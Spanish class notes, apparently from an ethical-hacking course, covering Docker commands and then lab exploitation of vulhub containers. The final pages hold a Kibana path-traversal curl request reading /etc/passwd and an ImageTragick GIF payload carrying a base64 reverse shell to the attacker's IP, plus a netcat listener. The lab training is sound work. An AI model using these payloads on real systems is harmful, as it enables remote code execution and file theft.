Está en la página 1de 10

DOCKER

Docker es una plataforma de contenedores de software que permite crear,


distribuir y ejecutar aplicaciones en entornos aislados. Esto significa que se
pueden empaquetar las aplicaciones con todas sus dependencias y
configuraciones en un contenedor que se puede mover fácilmente de una
máquina a otra, independientemente de la configuración del sistema operativo o
del hardware.
Algunas de las ventajas que se presentan a la hora de practicar hacking usando
Docker son:

• Aislamiento: los contenedores de Docker están aislados entre sí, lo que


significa que si una aplicación dentro de un contenedor es comprometida,
el resto del sistema no se verá afectado.
• Portabilidad: los contenedores de Docker se pueden mover fácilmente
de un sistema a otro, lo que los hace ideales para desplegar entornos
vulnerables para prácticas de hacking.
• Reproducibilidad: los contenedores de Docker se pueden configurar de
forma precisa y reproducible, lo que es importante en el hacking para
poder recrear escenarios de ataque.

Un archivo Dockerfile se compone de varias secciones, cada una de las cuales


comienza con una palabra clave en mayúsculas, seguida de uno o más
argumentos.
Algunas de las secciones más comunes en un archivo Dockerfile son:

• FROM: se utiliza para especificar la imagen base desde la cual se


construirá la nueva imagen.
• RUN: se utiliza para ejecutar comandos en el interior del contenedor,
como la instalación de paquetes o la configuración del entorno.
• COPY: se utiliza para copiar archivos desde el sistema host al interior del
contenedor.
• CMD: se utiliza para especificar el comando que se ejecutará cuando se
arranque el contenedor.

1
Además de estas secciones, también se pueden incluir otras instrucciones para
configurar el entorno, instalar paquetes adicionales, exponer puertos de red y
más.

Para crear una imagen de Docker, es necesario tener un archivo Dockerfile que
defina la configuración de la imagen. Una vez que se tiene el Dockerfile, se
puede utilizar el comando “docker build” para construir la imagen. Este
comando buscará el archivo ‘Dockerfile’ en el directorio actual y utilizará las
instrucciones definidas en el mismo para construir la imagen.
Algunas de las instrucciones que vemos en esta clase son:

• docker build: es el comando que se utiliza para construir una imagen de


Docker a partir de un Dockerfile.

La sintaxis básica es la siguiente:


➜ docker build [opciones] ruta_al_Dockerfile
El parámetro “-t” se utiliza para etiquetar la imagen con un nombre y una etiqueta.
Por ejemplo, si se desea etiquetar la imagen con el nombre “mi_imagen” y la
etiqueta “v1“, se puede usar la siguiente sintaxis:
➜ docker build -t mi_imagen:v1 ruta_al_Dockerfile
El punto (“.“) al final de la ruta al Dockerfile se utiliza para indicar al comando que
busque el Dockerfile en el directorio actual. Si el Dockerfile no se encuentra en
el directorio actual, se puede especificar la ruta completa al Dockerfile en su
lugar. Por ejemplo, si el Dockerfile se encuentra en “/home/usuario/proyecto/“,
se puede usar la siguiente sintaxis:
➜ docker build -t mi_imagen:v1 /home/usuario/proyecto/

• docker pull: es el comando que se utiliza para descargar una imagen de


Docker desde un registro de imágenes.

La sintaxis básica es la siguiente:


➜ docker pull nombre_de_la_imagen:etiqueta
Por ejemplo, si se desea descargar la imagen “ubuntu” con la etiqueta “latest”,
se puede usar la siguiente sintaxis:

2
➜ docker pull ubuntu:latest

• docker images: es el comando que se utiliza para listar las imágenes de


Docker que están disponibles en el sistema.

La sintaxis básica es la siguiente:


➜ docker images [opciones]
Durante la construcción de la imagen, Docker descargará y almacenará en caché
las capas de la imagen que se han construido previamente, lo que hace que las
compilaciones posteriores sean más rápidas.

El comando “docker run” se utiliza para crear y arrancar un contenedor a partir


de una imagen. Algunas de las opciones más comunes para el comando “docker
run” son:

• “-d” o “–detach“: se utiliza para arrancar el contenedor en segundo plano,


en lugar de en primer plano.
• “-i” o “–interactive“: se utiliza para permitir la entrada interactiva al
contenedor.
• “-t” o “–tty“: se utiliza para asignar un seudoterminal al contenedor.
• “–name“: se utiliza para asignar un nombre al contenedor.

Para arrancar un contenedor a partir de una imagen, se utiliza el siguiente


comando:
➜ docker run [opciones] nombre_de_la_imagen
Por ejemplo, si se desea arrancar un contenedor a partir de la imagen
“mi_imagen“, en segundo plano y con un seudoterminal asignado, se puede
utilizar la siguiente sintaxis:
➜ docker run -dit mi_imagen
Una vez que el contenedor está en ejecución, se puede utilizar el comando
“docker ps” para listar los contenedores que están en ejecución en el sistema.
Algunas de las opciones más comunes son:

• “-a” o “–all“: se utiliza para listar todos los contenedores, incluyendo los
contenedores detenidos.

3
• “-q” o “–quiet“: se utiliza para mostrar sólo los identificadores numéricos
de los contenedores.

Por ejemplo, si se desea listar todos los contenedores que están en ejecución en
el sistema, se puede utilizar la siguiente sintaxis:
➜ docker ps -a
Para ejecutar comandos en un contenedor que ya está en ejecución, se utiliza el
comando “docker exec” con diferentes opciones. Algunas de las opciones más
comunes son:

• “-i” o “–interactive“: se utiliza para permitir la entrada interactiva al


contenedor.
• “-t” o “–tty“: se utiliza para asignar un seudoterminal al contenedor.

Por ejemplo, si se desea ejecutar el comando “bash” en el contenedor con el


identificador “123456789“, se puede utilizar la siguiente sintaxis:
➜ docker exec -it 123456789 bash

A continuación, se detallan algunos de los comandos vistos en esta clase:

• docker rm $(docker ps -a -q) –force: este comando se utiliza para


eliminar todos los contenedores en el sistema, incluyendo los
contenedores detenidos. La opción “-q” se utiliza para mostrar sólo los
identificadores numéricos de los contenedores, y la opción “–force” se
utiliza para forzar la eliminación de los contenedores que están en
ejecución. Es importante tener en cuenta que la eliminación de todos los
contenedores en el sistema puede ser peligrosa, ya que puede borrar
accidentalmente contenedores importantes o datos importantes. Por lo
tanto, se recomienda tener precaución al utilizar este comando.
• docker rm id_contenedor: este comando se utiliza para eliminar un
contenedor específico a partir de su identificador. Es importante tener en
cuenta que la eliminación de un contenedor eliminará también cualquier
cambio que se haya realizado dentro del contenedor, como la instalación
de paquetes o la modificación de archivos.

4
• docker rmi $(docker images -q): este comando se utiliza para eliminar
todas las imágenes de Docker en el sistema. La opción “-q” se utiliza para
mostrar sólo los identificadores numéricos de las imágenes. Es importante
tener en cuenta que la eliminación de todas las imágenes de Docker en el
sistema puede ser peligrosa, ya que puede borrar accidentalmente
imágenes importantes o datos importantes. Por lo tanto, se recomienda
tener precaución al utilizar este comando.
• docker rmi id_imagen: este comando se utiliza para eliminar una imagen
específica a partir de su identificador. Es importante tener en cuenta que
la eliminación de una imagen eliminará también cualquier contenedor que
se haya creado a partir de esa imagen. Si se desea eliminar una imagen
que tiene contenedores en ejecución, se deben detener primero los
contenedores y luego eliminar la imagen.

En la siguiente clase, veremos cómo aplicar port fowarding y cómo jugar con
monturas. El port forwarding nos permitirá redirigir el tráfico de red desde un
puerto específico en el host a un puerto específico en el contenedor, lo que nos
permitirá acceder a los servicios que se ejecutan dentro del contenedor desde el
exterior.
Las monturas, por otro lado, nos permitirán compartir un directorio o archivo
entre el sistema host y el contenedor, lo que nos permitirá persistir la información
entre ejecuciones de contenedores y compartir datos entre diferentes
contenedores.
Borrar --> docker rm $(docker ps -a -q) --force
Borrar imagen --> docker rmi + ID ( primero matas a los hijos y luego al padre).
Borrar todas --> docker images -q --> docker rmi$(docker images -q)

El port forwarding, también conocido como reenvío de puertos, nos


permite redirigir el tráfico de red desde un puerto específico en el host a un
puerto específico en el contenedor. Esto nos permitirá acceder a los servicios
que se ejecutan dentro del contenedor desde el exterior.
Para utilizar el port forwarding, se utiliza la opción “-p” o “–publish” en el
comando “docker run“. Esta opción se utiliza para especificar la redirección de
puertos y se puede utilizar de varias maneras. Por ejemplo, si se desea redirigir

5
el puerto 80 del host al puerto 8080 del contenedor, se puede utilizar la siguiente
sintaxis:
➜ docker run -p 80:8080 mi_imagen
Esto redirigirá cualquier tráfico entrante en el puerto 80 del host al puerto 8080
del contenedor. Si se desea especificar un protocolo diferente al protocolo TCP
predeterminado, se puede utilizar la opción “-p” con un formato diferente. Por
ejemplo, si se desea redirigir el puerto 53 del host al puerto 53 del contenedor
utilizando el protocolo UDP, se puede utilizar la siguiente sintaxis:
➜ docker run -p 53:53/udp mi_imagen
Las monturas, por otro lado, nos permiten compartir un directorio o archivo entre
el sistema host y el contenedor. Esto nos permitirá persistir la información entre
ejecuciones de contenedores y compartir datos entre diferentes contenedores.
Para utilizar las monturas, se utiliza la opción “-v” o “–volume” en el comando
“docker run“. Esta opción se utiliza para especificar la montura y se puede
utilizar de varias maneras. Por ejemplo, si se desea montar el directorio
“/home/usuario/datos” del host en el directorio “/datos” del contenedor, se
puede utilizar la siguiente sintaxis:
➜ docker run -v /home/usuario/datos:/datos mi_imagen
Esto montará el directorio “/home/usuario/datos” del host en el directorio
“/datos” del contenedor. Si se desea especificar una opción adicional, como la
de montar el directorio en modo de solo lectura, se puede utilizar la opción “-v”
con un formato diferente. Por ejemplo, si se desea montar el directorio en modo
de solo lectura, se puede utilizar la siguiente sintaxis:
➜ docker run -v /home/usuario/datos:/datos:ro mi_imagen
En la siguiente clase, veremos cómo desplegar máquinas vulnerables
usando Docker-Compose.
Docker Compose es una herramienta de orquestación de contenedores que
permite definir y ejecutar aplicaciones multi-contenedor de manera fácil y
eficiente. Con Docker Compose, podemos describir los diferentes servicios que
componen nuestra aplicación en un archivo YAML y, a continuación, utilizar un
solo comando para ejecutar y gestionar todos estos servicios de manera
coordinada.

6
En otras palabras, Docker Compose nos permite definir y configurar múltiples
contenedores en un solo archivo YAML, lo que simplifica la gestión y la
coordinación de múltiples contenedores en una sola aplicación. Esto es
especialmente útil para aplicaciones complejas que requieren la interacción de
varios servicios diferentes, ya que Docker Compose permite definir y configurar
fácilmente la conexión y la comunicación entre estos servicios.
Tras crear un txt, podemos hacer el run del contenedor diciendo que la ruta
donde estamos esté sincronizada/montada en otra ruta del contenedor. Con esto
al desplegando el contenedor, si entramos en el localhost ( apache2), aparecen
los recursos. Lo podemos ver en bash también. Por tanto, cuando se cambie en
el contenedor, se cambiará también en la máquina. Esto hace que puedas
aprovechar la montura, traerte el archivo y sincronizarlo en otra ruta.

Al cambiar esto, volvemos a cargar el contenedor sin el -v y se ve el archivo.


docker logs ID del contenedor -f --> Leer cambios en los contenedores en tiempo
real.
Recordemos -- >docker ps --> vemos los contenedores.
docker exec -it (nombre del contenedor) bash ( comando que queremos) -->
Entramos en el contenedor con una bash.

KIBANA --> Desplegamos una versión vulnerable. Apuntamos a un recurso


interno de la máquina y listar el archivo. Desde github/vulhub/vulhub.
Es Local File Inclusion.
Para traerlo y clonar solo la parte que nos interesa --> svn checkout
https://github.com/vulhub/vulhub/trunk/kibana/CVE-2018-17246 --> Pero le
metemos un trunk en vez de un /tree/master que hay.
Con apis permite apuntar archivos de directorios principales con recursos. Te
puedes salir del de trabajo e ir a la raiz para luego apuntar a uno no esperado
como /etc/passw

7
curl -s -X GET
"http://localhost:5601/api/console/api_server?sense_version=%40%40SE
NSE_VERSION&apis=../../../../../../../../../../../etc/passwd
Para borrar un archivo y reemplazarlo:
echo "" > /etc/apt/sources.list
echo "deb http://archive.debian.org/debian/ jessie contrib main non-free" >>
/etc/apt/sources.list

En el siguiente:
Imagemagick --> Si subes fotos, se encarga este programa. Pero tiene una
vulnerabilidad que si le metes una imagen, le puedes meter un comando. Sube
un gif con un contenido.
Creamos un test.txt
Si lo subimos desde http://localhost:8080 en browse, no acepta txt.
Hacemos fuzzing con burp suite para saber que extensiones acepta esta página
web. Interceptamos subiendo un archivo a browser y captamos el contenido. Si
hacemos control + R, y activamos repeater y si le damos a send, nos sale la
respuesta del navegador. Le ponemos un nombre a la pestaña arriba como
testing file upload.
Intentamos cambiar las extensiones, haciendo control +i. Hacenis ataque sniper
que viene por defecto.
Clear para deseleccionar.
Le damos al txt y le damos a add $ y eso es un payload. Creamos un diccionario
yendo a payload y vemos que payload set 1. En payload options le ponemos txt
php js php3 gif pdf jpg. En options, pone grep-extract y hará un ataque de fuerza
bruta. Queremos que nos salga una columa para ver el mensaje para saber la
respuesta distinta. Le damos a add y cambiamos la parte de unsupported filetype
ok y sale la expresión regular. Le damos a start attack y empieza a probar. Gif la
acepta png, jpg, jpge las acepta. Lo que es contenido multimedia lo acepta.
Podemos investigar herramientas de procesamiento de imagenes.
El imagetragic hace que crees un archivo dentro del burpsuite.
push graphic-context

8
viewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg"|curl "miIP/testingRCE)'-->
Es un comando de sistema para que envie una petición a un servidor que vamos
a crear.
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--

Creamos el servidor con:


python3 -m http .server 80 --> Por el puerto 80 y empieza a escuchar.

Le damos a send en burpsuite.


Y vemos la petición.
Podemos ganar acceso a la máquina, haciendo que nos mande un bash o una
terminal.
Nos da lo siguiente:
Nos creamos un archivo nvim file.gif que valga lo siguiente:
push graphic-context
viewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg?`echo
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mM
Q== | base64 -d | bash`"||id " )'
pop graphic-context

Pero vemos que es una cadena en base64. Si le hacemos |☺base64 -d; echo (
echo hace que no salga hastag). La cadena es lo que aparece en pantalla ->
Manda un /bin/bash. Por tanto, nos manda una consola interactiva a una IP y a
un puerto.
Ahora tenemos en base64, tenemos que poner nuestra ip y nuestro puerto.
Cuidado con echo -n ! Hay que quitar el salto de línea por tanto.
echo -n "/bin/bash -i >&/dev/tcp/MI IP/4646( puerto elegido) 0>&1' | base64
Este puerto es bueno para no ser detectado.
Copiamos la cadena y la sustituimos en el file.gif.
Esto lo que hace es mostrar la cadena64 y luego la pipea con bash en texto
claro.
Abrimos otra consola y nos ponemos a la escucha con:
nc -nlvp 4646

9
Subimos el archivo y vemos si ganamos acceso. Subimos el .gif
Y de repente tenemos acceso.

10

También podría gustarte